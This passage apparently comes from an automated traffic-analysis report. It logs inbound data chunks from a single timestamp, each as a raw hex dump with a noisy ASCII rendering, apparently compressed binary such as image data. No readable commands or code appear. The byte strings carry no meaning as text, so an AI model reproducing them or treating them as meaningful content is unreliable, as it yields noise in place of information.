6b 90 cf 33 4c a9 95 07 85 30 b6 eb af 2e 62 98 28 b6 92 7b e9 4e a1 fa 04 b2 b3 b1 aa 0a 50 d1 86 5a 2b a4 ff 00 31 e1 
8e 9f 2e 78 71 f4 f9 be 62 75 61 70 ef 16 17 0e 25 74 26 58 80 a2 a8 19 86 35 d4 49 f0 e5 8c 6b 83 6e 96 6e 1f 61 a2 2b 
1b 9d cd c8 98 c5 6c 59 35 00 5d c7 0a 82 0b 28 00 16 14 e5 85 e4 2a c4 bf 77 e2 42 6c a9 96 3b 89 66 0d 31 31 38 50 
b1 90 01 53 4f 55 38 86 f2 cf 4f 86 1c ed 4a 17 f3 76 80 55 ad e4 b7 2e 1f 54 90 05 a0 0a 00 6d 40 0d 20 b6 b1 5e ba 67 
fe 58 9d aa 8f 93 ef ec e7 a7 a8 bd c1 b1 dc c7 1b 30 24 
Data Ascii: EnHqHrOhC!9f4c\gAcMZq\w:#dU$Uk3L0.b({NPZ+1.xqbuap%t&X5Iknna+lY5](*wBl;f118PSOU8OJvU.Tm@ 
^gX0$

2022-08-11 03:42:55 UTC 8224 IN Data Raw: 62 98 f4 30 ad 7b a0 c3 23 3c f7 78 9e 58 ee 24 a9 15 2b 52 07 83 63 dd c3 54 d2 39 e4 37 da 53 a7 d3 c9 60 
f9 35 7b 8c 48 e4 a0 9a 7f ab 19 75 75 d5 5b d8 64 94 28 36 fd 99 15 cb 6e 71 c8 c4 14 00 8f e5 a7 3c 61 9a 22 11 93 3a 
af ee 1d d5 df 66 3d e6 4a bd ac 8e 55 19 ab 9d 47 1f d9 4c 73 62 6a d6 d8 b8 a2 55 8c 4f 6c 7b aa 5d 96 78 b7 2b 73 5b 
98 ce a4 6a 70 e4 32 f0 c6 f9 31 ce 8c d6 8e 35 47 d6 5e c8 b3 de 7d e3 ed 1b 5b 9f 70 87 68 24 57 36 17 2c 4b 07 65 6f 
d4 8a 43 5a ab ea 25 a2 6e 0d 9a d3 1e 07 5d d2 bb d1 fd 9d 9b bb 03 3e 3f 31 77 a0 28 e0 7b 74 10 2e 85 96 36 1d 67 
52 95 e4 29 a6 9d 5c f3 c7 e6 bb b5 93 c3 1a ee d6 07 b2 65 9d 52 58 a4 d2 ad a8 50 9e a0 28 d9 53 ec e1 9e 3a b1 64 
75 72 99 53 07 cd 3b 96 cd 1d ef f7 10 ed 4b 21 8a 1b 8b d2 d2 
Data Ascii: b0{#<xX$+RcT97S`5{Huu[d(6nq<a":f=JUGLsbjUOl{]x+s[jp215G^}[ph$W6,KeoCZ%n]>?1w({t.6gR)\eRX
P(S:durS;K!

2022-08-11 03:42:55 UTC 8232 IN Data Raw: 09 d2 eb 5a 12 39 70 53 53 f3 54 d7 47 a7 12 d2 a6 8d fa 7a 76 f1 1c 04 b5 cc aa 83 b6 af 24 6c c0 18 51 ab 
a7 89 24 9e 2c 40 e1 5f b4 e2 1a 4d f2 af 78 0d 70 52 12 4e a0 02 22 86 a8 0a 48 24 90 46 a3 c3 97 c7 91 c1 55 3a 76 b0 
82 b9 5a da 28 92 35 86 55 40 35 12 c6 b5 ad 06 ad 44 68 5a fe 5f 85 71 ad 25 cc b4 fd 5c 86 50 9b ad a5 8c 4c 42 f6 e1 
70 74 ba 8d 41 4d 0d 6a c0 f4 d7 f3 7f cb 8d 3c bb 59 f7 fd be cf dc 20 91 ba 4d 0b 25 c3 46 ac f1 af 71 c4 75 0c e0 e4 78 
8d 22 8a 72 00 71 ea c6 6e 89 e8 b4 e5 25 27 05 e7 73 bd dc 22 31 d4 46 92 56 9d c6 ad 40 af cc 05 17 c3 c7 56 ae 9d 
38 d2 d2 b8 b9 25 b2 13 4c 52 05 9a 8c 14 b2 55 0a 7e a1 6e 06 ac 4e 7e 23 86 30 5a f8 74 f5 f2 06 cb 2d ee 0a 83 af 53 
c7 5a 2b 82 45 38 f2 6a 57 3c 64 e9 cd 68 34 cb 53 52 a4 
Data Ascii: Z9pSSTGzv$lQ$,@_MxpRN"H$FU:vZ(5U@5DhZ_q%\PLBptAMj<Y M%Fqux"rqn%'s"1FV@V8%LRU~n
N~#0Zt-SZ+E8jW<dh4SR

2022-08-11 03:42:55 UTC 8248 IN Data Raw: 9a 5a 4a 8d 26 7a e9 44 15 ea 6a 1a 66 c3 3c 66 f2 25 1c bd 5c 41 a8 1d 6c e2 67 12 4c 80 c2 05 23 e3 a8 68 
35 a6 7c 7f c6 9c 6b 4b 38 8e 61 05 31 43 73 28 53 76 ba e0 89 81 5d 14 55 65 42 1d 40 ae 75 d4 d4 6a 63 b2 95 7c 2b 
cd 7c c5 2a 84 ee 13 1f 6f e8 10 45 2c 92 c8 8c cd 5d 05 79 aa f2 c9 40 34 ea ea c6 79 3a 67 c2 63 d3 90 3a 40 f0 d9 a5 
94 a6 ee 38 01 92 65 52 89 a4 07 0c 38 91 c7 9e 6b 9f 86 23 ca b3 da 9b ed 1a a0 d7 16 2f b9 7e 90 2e b2 89 02 b2 8e 
90 23 a9 ea 20 8e a2 79 62 16 3f 2d c7 7e 93 e9 a0 e0 1e df db 5b 9c 5d d2 f2 81 69 02 b6 96 3d 6c 53 9a f4 9e 8c 8e 96 
6e 58 df 22 4b 54 b5 ee ed 15 aa 82 1e de 08 40 95 55 04 6c 01 a1 15 67 14 00 0c c1 a6 9f f8 63 cf c6 e7 8c b8 f6 21 24 
48 5a 09 22 43 23 01 24 8a 7a 4f a4 3a 93 a7 49 60 4f 91 ea ea 
Data Ascii: ZJ&zDjf<f%\AlgL#h5|kK8a1Cs(Sv]UeB@ujc|+|*oE,]y@4y:gc:@8eR8k#/~.# yb?-~[]i=lSnX"KT@Ulgc!$
HZ"C#$zO:I`O

2022-08-11 03:42:55 UTC 8252 IN Data Raw: 2d 93 e9 02 6b 87 72 80 e9 a3 c6 b9 9d 6b ab d3 a5 07 e4 ff 00 56 32 4d b4 e7 c3 1d bc f6 f7 77 86 d0 9d fa 
09 b7 16 9a 48 0a a8 55 63 28 65 a2 69 27 3c c1 ea 39 e4 34 6a ff 00 4e 39 a9 91 3b 4b fe 5d 75 f6 69 f8 89 2e 65 7b 5c 
93 ed 5b 78 98 33 94 46 28 ac 00 07 3e 2c 08 3f f5 7e 11 d5 85 7b 3b 5f 4d 19 15 41 64 5b 5c db a5 e5 cc c2 34 70 44 45 
91 5b c9 8b 16 ce 82 a0 f4 8c 2a e3 84 fb 7d bf 80 6d 92 b9 ed 9e ea 04 8a e1 d6 4b 77 70 a4 91 a6 8e 3d 26 8b 4a 66 06 
9d 39 1a e0 ad dd 5e 9c f5 80 4a 19 cd de ec 37 96 fb 8a 43 68 d2 4b 70 28 19 8e ae d2 d7 81 d7 c9 91 05 19 47 4d 1f 2c 
97 1e bd ac 95 3c 71 af 2f 9b d5 e9 c3 69 3b 01 e0 b3 dc 2e a3 8f 6e b2 11 a5 ce a6 57 21 86 b5 74 07 2d 25 9b a6 bd 41 
b9 b6 6d 8c 6f 6a d1 bb de 76 ff 00 a6 19 ae c0 db 8d be 
Data Ascii: -krkV2MwHUc(ei'<94jN9;K]ui.e{\[x3F(>,?~{;_MAd[\4pDE[*}mKwp=&Jf9^J7ChKp(GM,<q/i;.nW!t-%Amojv

2022-08-11 03:42:55 UTC 8268 IN Data Raw: ab 53 c7 97 4e 38 f6 ad d0 e6 3b 8b 88 24 b1 d9 5d 05 91 e3 51 18 0a 13 a4 92 55 9b 25 34 cf 3c 9b 36 aa ea 
a1 c7 5e 3c 6a cd ad 57 a7 a6 a5 6d 90 3d d7 6e 9f 77 8c ed d6 8e 8f 02 b9 a9 8c 68 cd 4d 48 26 b5 d4 af 40 bf c7 1a ba 
ac 37 f6 71 ed 2b 6a 34 2c ad 6d dd 66 b5 75 05 34 2a 3e b0 da 95 78 69 d4 b9 05 f5 1e 9e 2d 85 95 da 95 71 ac 6a 2b 
52 0b 2e 64 db af d6 e2 38 a2 26 48 e0 29 08 90 95 55 a5 0e ae 81 c0 53 9e 38 b1 67 7b 7f fa 2d df 4e df 97 f6 90 d2 66 
88 f6 ee ef 63 69 69 28 80 fd 28 2b 24 ed 16 95 41 19 35 0c 4b b6 b2 10 51 9b a6 a7 1e c6 1e 93 26 44 ae 94 51 eb af a7 
33 55 8d b5 27 23 b6 b5 ed dc c6 5b 93 dc 89 88 64 0c 4b 32 90 34 e9 0b 98 e6 68 d8 f2 fa 8a 6a e1 43 d7 d5 63 16 8d 
69 2d 6e a1 57 54 7d 0e 74 a6 9e 08 55 45 4a ba 7a 4f c7 e5 61 
Data Ascii: SN8;$]QU%4<6^<jWm=nwhMH&@7q+j4,mfu4*>xi-qj+R.d8&H)US8g{-Nfcii((+$A5KQ&DQ3U'#[dK24hjCci-n
WT}tUEJzOa

2022-08-11 03:42:55 UTC 8284 IN Data Raw: 8e 7b df 25 54 af 13 7f 0e 9f 0f 2f 1b 22 79 33 33 67 db 2c 9a 2b 8b b8 a6 91 e4 50 47 fd c9 1a a3 09 5d 2a 05 
05 6b 96 9f 2e 78 e8 cf 9e f3 54 d2 fe 4f 9b f8 12 de ba 98 db ac 57 f7 16 5d 9b 9f d6 86 12 7b 28 8c 59 6a e2 a6 95 f4 bd 
6b d5 9a 7c b8 f4 31 2a d2 db ab a3 b7 c5 6f 57 fc 7e d0 69 b4 65 5b 58 25 ec 10 c4 af 2a c5 3b 11 17 77 d2 25 a5 53 b9 
98 1c b4 8e 38 eb df 16 73 1a 7c 5b 7e 9f ca 64 93 e6 74 b7 17 12 3c d1 db 47 31 9a f5 34 93 18 35 0c bf 39 cb f0 9f c3 f7 
63 cb 55 d1 b6 a2 bf 77 61 b6 c3 97 f7 6d b6 e3 67 3c 51 de a4 57 32 49 2d 44 85 4a 68 a0 c9 0d 7f 08 27 3a 67 8f 5b a5 
74 b2 7b 5b ac 2f 87 e2 99 e6 37 5e 47 63 69 bb d9 47 61 0a 0d 36 f1 b4 66 16 50 41 55 29 eb 7c b4 d0 57 ef c7 87 6c 57 
de fe 6d 67 bd ee f8 57 32 a0 db db ea b0 99 ad 
Data Ascii: {%T/"y33g,+PG]*k.xTOW]{(Yjk|1*oW~ie[X%*;w%S8s|[~dt<G1459cUwamg<QW2I-DJh':g[t{[/7^GciGa6f
PAU)|WlWmgW2

2022-08-11 03:42:55 UTC 8292 IN Data Raw: 33 51 92 47 35 34 d2 3a 4e 9a 70 3e 9f 0c 65 6c ca cd 6d d1 73 4b d6 36 cb e0 d8 d6 f2 19 0d cd 19 a4 93 5b 
33 52 ba 69 46 a3 11 ab 2f 57 0e 2b 8d 16 66 9c 2d 34 09 3f ff d5 e7 e4 dd 96 ce 29 60 9e 23 2b aa 81 46 21 4b 69 20 6a 
34 af 3c 7e 07 e4 6e 6a c9 c2 60 e9 30 19 6b 26 de f6 11 1b 59 65 57 8d c0 d2 29 d2 cc 72 0b e2 a3 05 93 56 6d f6 7a 30 
35 2d 36 ad bb 73 8d ae 6e 45 27 88 8a 4e 0e 82 d5 a9 d2 7c 94 fe ce 38 e8 a7 50 a9 5d ad 43 73 1d 85 79 90 a0 bb 72 
bb b0 9a 55 b4 2c af 2d 58 80 08 d2 32 a5 03 f8 53 80 c7 2d f2 59 d7 87 07 c4 c5 b1 15 b8 8a d7 b4 d3 06 b9 ee 2a c7 4c 
f2 23 a7 49 6c cd 3f 7e 39 e9 19 3c 4a 65 7c a3 51 20 db a5 cc ad 7a 10 a2 07 00 19 14 b7 5d 14 70 20 64 2a c3 87 1c 
69 5f 12 76 bc cc ed ec 14 4e a0 f6 d7 17 b3 24 45 34 2e a1 d5 
Data Ascii: 3QG54:Np>elmsK6[3RiF/W+f-4?)`#+F!Ki j4<~nj`0k&YeW)rVmz05-6snE'N|8P]CsyrU,-X2S-Y*L#Il?~9<Je|Q z]p 
d*i_vN$E4.

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 8308 IN Data Raw: da 6d e4 0d 26 90 40 62 28 33 e7 cb 20 69 aa 9a 54 51 70 ef 7d 25 fd 84 a4 57 3e de d6 ac 20 8e 57 7b 60 ca 
d2 2b 28 ea 2b cb 50 f9 47 f0 1e 58 ba 66 95 aa 49 be c2 d4 a1 5c 15 be 3a 21 47 3a 17 4e b0 a0 24 8b e1 9f 0a 52 bc 1a 
98 6e db 75 71 ff 00 20 27 6c b7 b6 36 e2 0b 59 c1 8c 82 94 53 a9 13 30 0a 82 78 9d 35 ce 87 11 93 6d 9c d9 77 fa c9 d4 
16 dc a2 c5 21 28 0e b1 a4 2d 08 d4 41 e0 41 24 91 4f c3 a5 72 e5 8a b4 ca ee d4 0b 36 cb 6b 56 4e c4 b2 93 2a c8 1b 
40 cd 50 11 5d 20 73 a0 e5 9f 86 16 5b d9 39 4b 48 f7 ea 68 a0 88 58 ee d2 48 d0 82 11 81 70 95 50 0b 0e 9a 86 e0 59 
69 c7 56 29 d9 d6 3b f8 4e be e8 ec 1a 70 68 c9 15 b4 71 99 62 97 f5 5f 80 3c 5a 46 e7 d0 6a 34 e6 57 c7 96 31 57 6f 46 
b4 fc 0d 24 c8 5b cd da 09 56 01 12 c3 3c ac a9 dc ad 50 35 2a 
Data Ascii: m&@b(3 iTQp}%W> W{`+(+PGXfI\:!G:N$Rnuq 'l6YS0x5mw!(-AA$Or6kVN*@P] s[9KHhXHpPYiV);Nphqb_<
ZFj4W1WoF$[V<P5*

2022-08-11 03:42:55 UTC 8324 IN Data Raw: 32 f6 25 b8 db ad 6e 2c c8 ee 09 81 52 da 41 60 68 5b 4a b0 0c cd fe af 4a 63 7e a2 2d 64 f8 6d f4 98 e0 bd 
9c 46 98 6d b6 da 77 bb a5 54 17 35 2f ff 00 70 a8 a0 54 68 d4 5a ba 74 aa 6a e8 d6 48 38 ce d7 d9 47 6f 0e 9c 38 e9 af 
a6 86 9b 64 0e f3 6f bf 31 96 1d e5 99 dd a8 88 2a 91 2b b5 01 3a 86 8f cb ab e6 fd a5 d3 25 13 e5 11 c5 fc 57 da bf ab f6 
19 3a e8 17 71 b8 ee 5b 68 10 90 26 35 a6 b9 28 2b 53 c8 13 40 c3 e5 cf 1c f5 c5 4c 9a fc 3d cb d3 de 23 5b fa ce df 75 
27 d3 a6 b7 91 83 76 b2 62 4b 2e 44 0d 3e 96 53 d3 c3 d5 c3 1c ef 0d 97 89 fc 2a 37 70 f8 7f 7f 13 58 92 ab 76 fa 3e fd ec 
73 31 96 76 58 d5 7a 98 12 b4 5a 01 c8 d4 d1 b8 70 c6 96 53 15 d1 2a a9 ec f8 89 55 86 6d 32 1d d2 55 ba b8 8d 9a 15 
6d 28 18 e9 7e e0 19 49 cd 8a 02 32 f8 e3 9d 46 34 f5 
Data Ascii: 2%n,RA`h[JJc~-dmFmwT5/pThZtjH8Go8do1*+:%W:q[h&5(+S@L=#[u'vbK.D>S*7pXv>s1vXzZpS*Um2Um(~I2
F4

2022-08-11 03:42:55 UTC 8331 IN Data Raw: 55 85 09 66 90 83 a7 51 14 6a e9 0c 4e 3b 31 65 78 eb e3 4d fa be 6f d9 50 c6 a7 53 5c 6c c6 72 b3 b5 c3 46 
e1 bb 6a 26 a5 48 5a 02 23 53 d3 43 a4 f0 73 cf 3d 55 5c 70 3c bb 74 8d 23 77 87 bf ea 7f b8 96 98 06 ee a2 e2 55 16 76 
ac ca b5 49 91 35 47 11 19 2d 15 d8 56 62 ed fe de 91 9e 82 4f a8 63 ab 0b d8 9e fb 7a be 6b 7f a7 4a 25 f3 7a ca 82 99 
ed a5 f6 f5 e8 da bb 28 f0 48 88 b1 dc c9 ad 74 b0 a9 a8 23 a5 97 50 5c 9b ab e5 e0 5b 1a d6 eb 2d 1d be 69 e1 58 b6 9f 
c3 99 2e a7 4b b4 d8 cd 15 b4 10 55 64 9d a5 92 49 3b 72 00 ab 5a 51 50 e7 d2 c0 f4 9d 2d c7 36 c6 17 c6 ad 6e 51 a2 
8f 9b 4e 76 e4 52 a0 a6 da 85 cc ed 70 25 2b 72 e8 74 83 a5 6b 22 1e 24 e7 55 a6 b3 a5 a8 1b d4 16 b8 c2 b9 f6 cd 5a f8 
7e 93 29 e4 15 77 b6 c9 bc 89 4b 3a 19 10 13 a8 66 bd d0 28 
Data Ascii: UfQjN;1exMoPS\lrFj&HZ#SCs=U\p<t#wUvI5G-VbOczkJ%z(Ht#P\[-iX.KUdI;rZQP-6nQNvRp%+rtk"$UZ~)wK:f(

2022-08-11 03:42:55 UTC 8347 IN Data Raw: 54 51 74 c8 73 e9 ab 79 e5 89 bd e3 e1 f0 d9 f3 af 12 e6 78 94 fb 86 f5 a3 da ee 37 05 1a 17 a2 47 52 40 05 
e4 3a 63 c9 b2 cf 4e ac bf ea 38 cd 62 c9 96 cd bd 2b cd 6b ed 64 c4 e8 55 b8 ad 83 44 d0 ad 0c c2 22 0a aa b1 00 e4 40 
01 35 17 2f c3 c3 a7 e3 8c 31 a9 75 d6 35 d7 d1 90 07 b3 5c 04 dc e9 b8 ca f3 dc ac 22 de 39 34 b4 45 a3 d6 da a4 5d 40 
ad 41 fd 2d 0a 57 c6 bc 71 ec f5 19 76 f0 e5 a6 9d b6 0e 06 cd ed 9c f1 ee 32 58 3b db c6 64 43 20 90 80 12 30 f9 64 2b 
a8 3a d0 29 55 e7 4e 38 33 64 6d 24 9e d8 6a de ce c6 6d b9 a5 06 7b 25 9c 36 96 e9 6f 27 d4 db c1 db 8e 59 0a 50 d0 
1c cc 6a a5 9b 51 23 4a b1 5f 86 12 c5 48 dd 1c 75 7e 9f b4 6a ba 6a 1c f6 b0 cf 79 1b 99 e3 8e 52 7f 4a 36 42 33 26 ac 
9d 24 a9 63 f1 f9 78 69 18 c3 1e 7a dd bd 8e 38 72 34 57 19 
Data Ascii: TQtsyx7GR@:cN8b+kdUD"@5/1u5\"94E]@A-Wqv2X;dC 0d+:)UN83dm$jm{%6o'YPjQ#J_Hu~jjyRJ6B3&$cxiz
8r4W

2022-08-11 03:42:55 UTC 8351 IN Data Raw: 3c 75 e4 ea 52 af 95 4f 85 7c c2 6a 0e 73 eb a1 bf 9d 63 bb 3d c3 29 92 29 3a 06 7a 07 1f 36 63 d3 92 e3 cc 
ba b6 ad 69 10 d7 b7 f6 19 c6 a5 82 ca ee 10 ad f5 0e 1d 94 9e da 12 1d 41 af 15 f0 d3 93 2a fa b0 56 e9 6a a3 b3 d3 f7 
83 44 36 b5 67 41 2c 92 03 76 ba 82 2e 9e 96 14 ae aa 9f c2 69 55 3e 9c 69 6a 55 d5 c7 76 84 25 01 49 6b ae 24 37 0f 
45 46 67 0d 5d 25 5c e5 a0 30 e3 a8 7a b9 66 31 9d 5a 88 ed 2a a8 b0 b4 0d 6d 15 ec 8d 13 4f 32 b0 a6 b2 1d 34 12 07 
ab e5 6f 50 7d 38 2d 87 6d 54 3e 63 da 05 14 13 32 cd 76 f2 29 72 00 72 80 b2 2a d4 1a 36 b0 35 17 51 4e 1d 2d e9 c6 d
6 d7 b5 88 13 70 37 37 ff 00 4c 67 82 24 b7 75 66 b6 7a f5 11 f3 82 de 9e 93 9e 96 01 bf 03 35 71 75 5e 5d 3e ff 00 4f 4e 
f3 22 cd af 6d bb b7 be 96 6d cd cf 6c 55 59 80 24 b2 80 00 a3 
Data Ascii: <uRO|jsc=)):z6ciA*VjD6gA,v.iU>ijUv%Ik$7EFg]%\0zf1Z*mO24oP}8-mT>c2v)rr*65QN-p77Lg$ufz5qu^
]>ON"mmlUY$

2022-08-11 03:42:55 UTC 8367 IN Data Raw: a8 08 29 aa 9f 37 cc df 76 b9 68 d5 77 52 76 f3 5d f3 fe a8 05 26 9d 83 6a 5d 53 42 63 ec bb e9 d4 a4 8d 46 
8a 1f a8 55 35 0e 65 6b ff 00 36 3c eb c7 27 32 97 fe bf 9b de 40 44 32 04 91 1e d5 5e 48 99 8b 22 16 e2 46 5a aa 72 0a 
df 37 e2 d2 72 19 9c 43 4d a6 ad 13 1c 63 d3 f7 0e 0e 7a 6d 82 d9 95 ae 18 77 05 bc 65 90 be 9d 04 96 d2 14 6b d4 24 
64 27 a5 29 aa 9a 4f a7 4e 3d bc 37 bc 4a 85 3c 7b 74 25 70 92 bd a8 59 59 c1 28 9a 54 10 3b 02 74 80 ee b2 35 55 54 
96 fc cb a7 23 4a b6 4a 03 63 1c 8a d7 73 0e 57 f2 ca e3 3f b7 98 95 8d 1d 92 da ca 4b 53 b7 a5 a9 0a 61 25 c4 74 66 60 
6b 93 e8 af 6d 95 aa cc a7 a9 fd 5e 58 d3 3d ee a1 af 5e ef 57 af e5 35 a9 9b be 5a 5b 5c 4e 7e 9a 52 d7 4d 1b 2b c4 ec 
5f 5f da 08 21 57 4f 48 3a 57 cb c5 e0 b6 ca a6 d7 87 fa 76 bf 
Data Ascii: )7vhwRv]&j]SBcFU5ek6<'2@D2^H"FZr7rCMczmwek$d')ON=7J<{t%pYY(T;t5UT#JJcsW?KSa%tf`km^X=^W5Z
[\N~RM+__!WOH:Wv

2022-08-11 03:42:55 UTC 8383 IN Data Raw: ba ed db 6c 62 ce 28 6b a9 12 37 75 21 94 35 73 58 c0 ea 5e 39 2f 0a ff 00 cd 8f 5e b8 9e 5f 12 6d 35 2e 3b 
7b cd f6 ca 08 ec 41 b8 5b 13 b7 ff 00 db cb 39 29 04 f3 3b 8d 6b 1d 3a c5 49 a2 af e2 21 99 b8 63 07 7d b6 8b 29 db f1 
aa fc bb be 5f 4e 07 2d aa d9 81 ba ef b7 db 76 e9 74 f7 09 1a dd 5b a9 49 26 54 d6 b2 c2 18 c7 58 db 22 a7 57 16 fc 5f 
37 2c 7a 38 30 57 62 d8 db ad be 1e 5b 6d 13 af e1 dc 63 b2 00 6e fd ef 0c b2 41 6f 2c a3 b8 24 55 29 1a 29 55 4d 55 0a 
d2 f0 aa 13 50 cb 5c aa a7 15 4e 81 a4 ec 96 90 f5 6d cb b4 71 d9 f9 bb 18 f6 b6 ce 93 7e 48 ec 62 92 ef 71 8e 68 27 9e 
16 8e 34 79 02 82 c1 83 ab 09 50 85 d0 02 ea 2b 9f 56 4b a7 18 60 d7 4a ea b9 b8 ff 00 8c 14 d1 c9 fb 07 6a 5d d9 a4 99 
ae 05 ac ae a0 c6 d2 68 6a c3 52 3a 43 36 af 5a f5 35 34 
Data Ascii: lb(k7u!5sX^9/^_m5.;{A[9);k:I!c})_N-vt[I&TX"W_7,z80Wb[mcnAo,$U))UMUP\Nmq~Hbqh'4yP+VK`Jj]hjR:C6Z54

2022-08-11 03:42:55 UTC 8391 IN Data Raw: d6 28 af 59 ec 8f f6 98 b6 e4 eb 8f ba 4b 5a a4 97 e1 6e 60 86 46 a4 32 38 31 e8 50 47 e9 b5 3d 3f 30 af cd a7 
3c 56 3c fa aa de 6d 5a a8 ad 38 46 ee de d6 43 73 de 05 bd 4f f5 fb 6d a4 ab 66 a9 29 45 55 8f a5 42 46 41 3a d9 d6 a1 
98 b6 9c bd 44 fc 31 cb e7 ef 6d 3b 2f 06 89 56 bf 17 a7 68 59 1c 13 59 76 b6 f9 ed 12 6d 77 6e 02 f7 83 55 75 33 54 b5 
0d 5a ad c1 7f 66 3d 25 79 c8 ac d7 85 7c bd d1 f8 73 39 d1 a7 16 d3 26 db 68 6d 6e e4 8d a3 45 ed a5 af 6d ea e5 fa 48 
24 fa 41 f5 9a 0e 3e 18 cb cc ae 4b 3b 56 66 67 74 f6 76 7a bb c7 b7 b4 bb 6e 93 6d db 44 96 e9 6c ac a5 42 45 12 02 23 
59 38 1a 00 da b3 e7 52 df cd 8c 33 6f ca d3 6e 39 da 7e 2d a1 21 1b 75 b5 ec 04 08 23 ed 45 e9 22 46 05 e8 3a 4d 05 
00 ea a2 f9 65 9e 39 f2 da b6 e2 e5 f7 2d 3b 7e c1 c9 2b 
Data Ascii: (YKZn`F281PG=?0<V<mZ8FCsOmf)EUBFA:D1m;/VhYYvmwnUu3TZf=%y|s9&hmnEmH$A>K;Vfgtvzn
mDlBE#Y8R3on9~-!u#E"F:Me9-;~+

2022-08-11 03:42:55 UTC 8407 IN Data Raw: 72 98 21 8a 78 ac 22 5a 44 a0 10 02 a1 a3 32 b3 12 a1 32 5d 5a d7 e0 bc 4e 31 cf 89 6d 96 d5 ad c6 df cd dc 
b9 fe 9f 78 35 28 be 1b 88 36 be 89 0b 2b c8 49 13 48 74 85 39 ea 23 40 d4 b2 7f 0e 1e 18 e7 75 77 d5 72 f9 57 ef f9 4e 
64 e0 22 c6 68 5d 5b 6e 8e 78 bb b2 21 d7 24 c4 96 14 a1 67 a8 ab ea 2c 7c a8 1b 19 64 4f e3 69 c2 7c 2b cf b2 bf 4f f0 
0a b6 dc 19 f3 58 d9 0b a1 60 a6 29 6f 26 7d 55 62 4c 60 11 a5 29 a7 48 0b d2 49 e9 d5 e1 8e cc 77 b5 ab 3a d6 bc 3f 37 
e6 fb c7 65 c8 d9 de 36 86 b2 9a 48 ae 0c 4f 35 b2 06 0e b2 13 a8 50 f4 ae 74 ff 00 51 af 0f 2c f0 97 8f c3 f5 3f 4b 06 d5 
54 55 1e e5 64 90 c3 6c 1c fd 31 85 9d 95 d4 2f fb 80 30 1d 3c 73 c8 fa 74 d3 11 93 13 6d b5 c6 7f db a7 a7 d4 26 e5 68 
61 5d 6f 91 c9 b8 a2 db 10 67 75 a3 92 4d 17 98 02 3a 
Data Ascii: r!x"ZD22]ZN1mx5(6+IHt9#@uwrWNd"h][nx!$g,|dOi|+OX`)o&}UbL`)HIw:?7e6HO5PtQ,?KTUdl1/0<stm&h
a]oguM:

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 8423 IN Data Raw: 06 ac c2 8d cf 4e 3a 1a 49 ed 87 1f 57 c3 bb fe dd dc 0c 7c b2 13 7d 35 e4 12 86 31 23 6b d1 23 43 55 94 a8 
cc a2 b1 c9 51 7e 56 f0 1f 33 63 2c 4d 51 ad dc 3e 2e dd de 9f 37 ac 1b 4c ca 10 a4 3a 25 60 a8 00 a4 9a 41 90 36 90 3a 
a9 53 d3 4c f3 f4 f8 f3 c3 76 76 71 2d f6 72 db 26 16 d5 85 ee 17 12 47 6d 36 e0 af 59 e5 d0 2d d3 2d 2f 42 da a3 a9 04 
75 0e 55 ea 38 58 71 c4 55 a7 1a f8 bd de 2f 67 fa 4d 29 64 ab 20 1b 7e e9 75 73 62 c6 39 60 b6 b8 86 3d 0c 05 07 62 2a 
f4 8a 01 d4 05 2b a7 55 05 74 e3 5c f8 ab 5b 29 dd 75 6e 1f 9e de 9c cc ed 66 e1 bf b0 b2 ef 74 b2 9a 38 64 59 04 d0 40 
74 cc a0 82 ce ce 34 06 50 9a ba aa eb c4 8d 34 af 1c 2c 78 ac a7 4d b6 7f 0c fb fe 63 5a db 49 3a 5b 0d e7 68 bd 06 c6 
f2 40 c1 19 59 13 b5 a8 eb 15 39 b7 02 f5 1e 93 9d 71 8e 
Data Ascii: N:IW|}51#k#CUQ~V3c,MQ>.7L:%`A6:SLvvq-r&Gm6Y--/BuU8XqU/gM)d ~usb9`=b*+Ut\[)unft8dY@t4P4,xMcZI:
[h@Y9q

2022-08-11 03:42:55 UTC 8431 IN Data Raw: a3 f2 6b 31 bb 5f 6e ef 96 de a8 f7 13 1c c2 d6 de d3 dc c2 3b f6 0e 24 82 eb ba 66 5f f7 26 e6 d1 c4 c4 69 58 
c3 f5 36 ac 61 6b db 03 75 e5 7a ed db f2 d3 f3 5b f3 47 08 1b 1e cb de 3f 4f f5 5b 81 99 5a f4 3c 46 28 a4 42 41 27 fd d5 
2e 3f 02 d4 f4 fc 57 05 fa 15 64 a9 1e 18 7a a7 fd 2f 6f 7f 78 25 a1 b3 b4 6e 4f b9 bc 8f 3b 47 15 92 49 dd 02 36 2a 5e 55 
26 99 39 5a 8a 54 ff 00 2d 31 cb 93 1f 96 92 d6 dc 9c f2 ac 7e 5e 66 ab bc ec 66 da 84 d6 f3 5f ed 10 77 de d2 de 4e dc 
60 12 49 2c 5d 8e 55 2c 29 92 a8 e1 f0 c7 3d 6a b3 db cb 4f 6f 37 f5 5a 05 c4 06 de 59 20 ce f7 4c 97 57 04 d0 b0 2a d0 
a3 7a 4b 67 99 4f 4d 38 72 c7 2a ad 6d a5 78 2d 3b 9d bb 57 ac 4d a3 b0 da 7f b6 e9 b5 db 9b cb f3 14 76 75 2e 46 bc 8b 
53 4e 91 99 a0 fc a3 d5 8e 8e b3 1f 51 8a aa f5 
Data Ascii: k1_n;$f_&iX6akuz[G?O[Z<F(BA'.?Wdz/ox%nO;GI6*^U&9ZT-1~^ff_wN`I,]U,)=jOo7ZY LW*zKgOM8r*mx-
;WMvu.FSNQ

2022-08-11 03:42:55 UTC 8447 IN Data Raw: aa 63 9c 9e a2 e4 86 ea 56 ea 42 95 93 d3 4c 9b c6 98 ee ae 37 b7 c4 f5 ab 73 ea fc b6 fe 91 f0 e0 75 83 77 
b6 f6 ed a2 59 a5 6f af 89 79 6d 49 25 05 45 05 18 ab 7e a2 54 e4 1f 4b 65 9a 0c 46 35 89 ee dd 59 e1 ba dd 8c ae 00 bb 
cc ed 69 66 6f 62 95 2d 26 01 12 4a 97 64 12 38 d4 50 0f 55 09 1c 46 bd 3f f2 e3 9e 98 ab 95 f0 9a f1 e4 4d ab cd 19 d6 
d7 97 b6 56 d1 a5 f3 bc 0a 63 a4 92 28 62 a6 42 78 39 23 21 53 52 cd 9f 1c b1 9b c7 4c 96 f0 c3 d7 49 8f 84 85 66 07 79 
05 ce e4 96 f2 40 cc 96 80 ea 96 ef 50 44 14 a0 28 be 4e 3a b5 71 6d 2c 74 e7 8e 9a 57 cb dd 2a 5f c3 5a 46 ee fd df cb 
